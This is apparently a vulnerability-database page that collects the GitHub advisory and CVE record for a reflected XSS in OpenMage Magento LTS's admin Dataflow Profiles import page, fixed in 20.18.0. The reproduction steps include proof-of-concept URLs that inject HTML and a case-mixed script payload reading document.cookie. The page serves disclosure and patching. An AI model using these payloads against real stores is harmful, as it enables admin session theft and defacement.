Vulnerability-Lookup

GHSA-X8JV-Q8J2-487C

Vulnerability from github – Published: 2026-05-06 20:57 – Updated: 2026-05-15 23:49

Summary

Magento LTS: Reflected XSS - Import -> Data Flow (profiles)

Details

A reflected XSS vulnerability was found under admin panel -> System -> Import/Export -> Dataflow - Profiles.

Steps to produce

Login to the admin panel
Go to the path System -> Import/Export -> Dataflow - Profiles
Select profile direction as Import.
Click on Import Customers
Upload the file.

File Link: customer_20260212_204335.csv

Go back to Run profile.
Select the uploaded file and Click on Run in Popup.
One can see a URL like this

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/

One can see the filename getting reflection in HTML tags.
Inject an HTML tag and observe.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/

image (3)

One can see the tag is getting executed.
Proceed for XSS.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E

image (4)

There is an XSS popup.

Impact

Cookie stealing, JS deface, many more

Severity

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 20.17.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "openmage/magento-lts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-87"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:57:37Z",
    "nvd_published_at": "2026-05-15T17:16:46Z",
    "severity": "MODERATE"
  },
  "details": "A reflected XSS vulnerability was found under admin panel -\u003e  System -\u003e Import/Export -\u003e Dataflow -  Profiles.\n\n## Steps to produce\n\n+ Login to  the admin panel \n\n+ Go to the path   `System -\u003e Import/Export -\u003e Dataflow -  Profiles`\n\n+ Select profile direction as `Import`.\n\n+ Click on `Import Customers` \n\n+ Upload the file.\n\nFile Link: [customer_20260212_204335.csv](https://github.com/user-attachments/files/25629638/customer_20260212_204335.csv)\n\n+ Go back to `Run profile`.\n\n+ Select the uploaded file and Click on `Run in Popup`.\n\n+ One can see a URL like this \n\n```\nhttps://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/\n```\n\n\n+ One can see the filename getting reflection in HTML tags.\n\n+ Inject an HTML tag and observe.\n\n```\nhttps://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/\"\u003e\u003ch3\u003ehacked\u003c/h3\u003e/\n``` \n\n\u003cimg width=\"1796\" height=\"302\" alt=\"image (3)\" src=\"https://github.com/user-attachments/assets/502330b0-fa73-4b90-a81f-6216a98e474a\" /\u003e\n\n+ One can see the tag is getting executed.\n\n+  Proceed for XSS.\n\n```\nhttps://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E\n```\n\n\u003cimg width=\"1670\" height=\"562\" alt=\"image (4)\" src=\"https://github.com/user-attachments/assets/98a75081-fa8c-4483-9078-0ab5e7e14e4d\" /\u003e\n\n\n+ There is an XSS popup.\n\n## Impact\n\nCookie stealing, JS deface, many more",
  "id": "GHSA-x8jv-q8j2-487c",
  "modified": "2026-05-15T23:49:07Z",
  "published": "2026-05-06T20:57:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-x8jv-q8j2-487c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42458"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenMage/magento-lts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Magento LTS: Reflected XSS - Import -\u003e Data Flow (profiles) "
}

CVE-2026-42458 (GCVE-0-2026-42458)

Vulnerability from cvelistv5 – Published: 2026-05-15 17:02 – Updated: 2026-05-15 18:04

Title

Magento LTS: Reflected XSS - Import -> Data Flow (profiles)

Summary

Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition e-commerce platform with a high level of backward compatibility. Prior to 20.18.0, there is a reflected XSS vulnerability under admin panel -> System -> Import/Export -> Dataflow - Profiles. This vulnerability is fixed in 20.18.0.

Severity

5.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-15 17:58 UTC

CWE

CWE-87 - Improper Neutralization of Alternate XSS Syntax

Assigner

GitHub_M mitre root Scorecard

References

1 reference

URL	Tags
https://github.com/OpenMage/magento-lts/security/…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
OpenMage	magento-lts	Affected: < 20.18.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42458",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-15T17:58:08.186737Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-15T18:04:51.109Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-x8jv-q8j2-487c"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "magento-lts",
          "vendor": "OpenMage",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 20.18.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition e-commerce platform with a high level of backward compatibility. Prior to 20.18.0, there is a reflected XSS vulnerability under admin panel -\u003e System -\u003e Import/Export -\u003e Dataflow - Profiles. This vulnerability is fixed in 20.18.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "LOW",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-87",
              "description": "CWE-87: Improper Neutralization of Alternate XSS Syntax",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-15T17:02:42.878Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-x8jv-q8j2-487c",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-x8jv-q8j2-487c"
        }
      ],
      "source": {
        "advisory": "GHSA-x8jv-q8j2-487c",
        "discovery": "UNKNOWN"
      },
      "title": "Magento LTS: Reflected XSS - Import -\u003e Data Flow (profiles)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42458",
    "datePublished": "2026-05-15T17:02:42.878Z",
    "dateReserved": "2026-04-27T13:55:58.694Z",
    "dateUpdated": "2026-05-15T18:04:51.109Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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